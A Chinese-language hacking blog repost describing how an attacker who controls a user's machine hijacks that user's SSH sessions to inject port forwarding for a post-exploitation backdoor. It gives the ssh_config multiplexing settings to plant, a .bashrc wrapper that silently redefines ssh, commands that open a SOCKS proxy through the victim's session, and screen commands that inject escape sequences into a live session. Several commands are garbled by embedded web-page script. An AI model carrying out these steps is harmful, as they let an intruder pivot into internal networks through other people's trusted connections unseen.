记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

劫持SSH会话注入端口转发

2015-03-18 12:35

0x00 前言


昨天A牛发群里的链接,其实这种攻击我感觉适合留后门,属于Post Exploitation阶段,我以前也没用过这个方法,都是傻呼呼的用个ld_preload后门,实际环境测试通过后,发现可用,比较有实用价值,就分享下,有错误的地方还请大家指出。

0x01 细节


1.1第一种场景:

攻击流程如下:SSH客户(ssh_user)连接到hop_1,攻击者(attacker)能够控制ssh_user这台机器,攻击者通过注入端口转发来实现入侵hop_1和hop_2之后的网络。步骤如下:

enter image description here

1. 攻击者可以用两种方式来修改ssh客户端,如果有ROOT权限可以直接修改/etc/ssh/ssh_config,如果没有修改ssh_config文件的权限,可以通过在相应用户的.bashrc中封装ssh来实现。主要涉及的项如下:

ControlPath /tmp/%r@%h:%p
ControlMaster auto
ControlPersist yes  

enter image description here

如果打开了ControlPersist,表示用户在进行SSH连接后,即使退出了会话,我们也能通过socket劫持,因为这个文件不会删除。

2. 当(ssh_user)连接到hop_1(192.168.56.131)的时候,会在/tmp目录下生成一个socket文件,我们使用

ssh -S /tmp/root@192.168.56.131<script cf-hash="f9e31" type="text/javascript">
/* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */</script>\:22 %h

来连接

enter image description here

注入命令端口转发的命令如下:

ssh -O forward -D 8888 -S /tmp/root@192.168.56.131<script cf-hash="f9e31" type="text/javascript">
/* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */</script>\:22 %x

 

enter image description here

执行完这条命令后,我们就可以使用ssh_user这台机器的8888端口做SOCKS5代理,访问hop_2后的网段了。

3. 前面说过,如果ControlPersist为yes,则不会自动删除sockets文件,我们可以手工rm删除/tmp/root@192.168.56.131:22,也可以优雅的使用

root@kali: # ssh -O exit -S /tmp/root@192.168.56.131<script cf-hash="f9e31" type="text/javascript">
/* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */</script>\:22 %x

来删除。

在.bashrc里封装ssh命令的方法如下:

ssh () 
{ 
    /usr/bin/ssh -o "ControlMaster=auto" -o "ControlPath=/tmp/%r@%h:%p" -o "ControlPersist=yes" "$@";
}

enter image description here

1.2第二种场景:

这种情景是ssh_user用户使用screen管理ssh会话时的情景,步骤如下:

enter image description here

1. 当ssh_user使用

screen ssh root@192.168.56.131<script cf-hash="f9e31" type="text/javascript">
/* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */</script>

 

连接远程的hop_1(192.168.56.131)时,会在/var/run/screen有显示相应的文件

root@kali:~# ls -la /var/run/screen/
total 0
drwxrwxr-x  3 root utmp  60 Mar 16 03:37 .
drwxr-xr-x 20 root root 640 Mar  3 21:23 ..
drwx------  2 root root  60 Mar 16 04:21 S-root

其中S-ROOT表示是本地的root用户连接的远程,可以用screen -r root/来接管会话,或者用screen -x 6851.pts-0.kali

2. 如果要注入端口转发,还有 一点要注意,需要先执行script /dev/null来绕过pts/tty限制。命令如下

root@kali:~# lsof -i TCP:8888
root@kali:~# script /dev/null 
Script started, file is /dev/null
root@kali:~# screen -S 6851.pts-0.kali -p 0 -X  stuff $'~C'
root@kali:~# screen -S 6851.pts-0.kali -p 0 -X  stuff $'-D:8888\n\n'
root@kali:~# lsof -i TCP:8888
COMMAND  PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
ssh     6852 root    7u  IPv4  94301      0t0  TCP *:8888 (LISTEN)
ssh     6852 root    8u  IPv6  94302      0t0  TCP *:8888 (LISTEN)

注入screen的ssh会话,会有一个不好的地方,就是你敲的命令,会在当前正在连接的用户那里同时显示,容易被发现。

enter image description here

0x02 参考文章


http://0xthem.blogspot.com/2015/03/hijacking-ssh-to-inject-port-forwards.html

未经允许不得转载:中国 X 黑客小组 » 劫持SSH会话注入端口转发

知识来源: www.cnxhacker.com/2015/03/18/8093.html

阅读:90535 | 评论:0 | 标签:技术分享 SSH 劫持SSH会话 端口转发 注入

想收藏或者和大家分享这篇好文章→复制链接地址

“劫持SSH会话注入端口转发”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云

本页关键词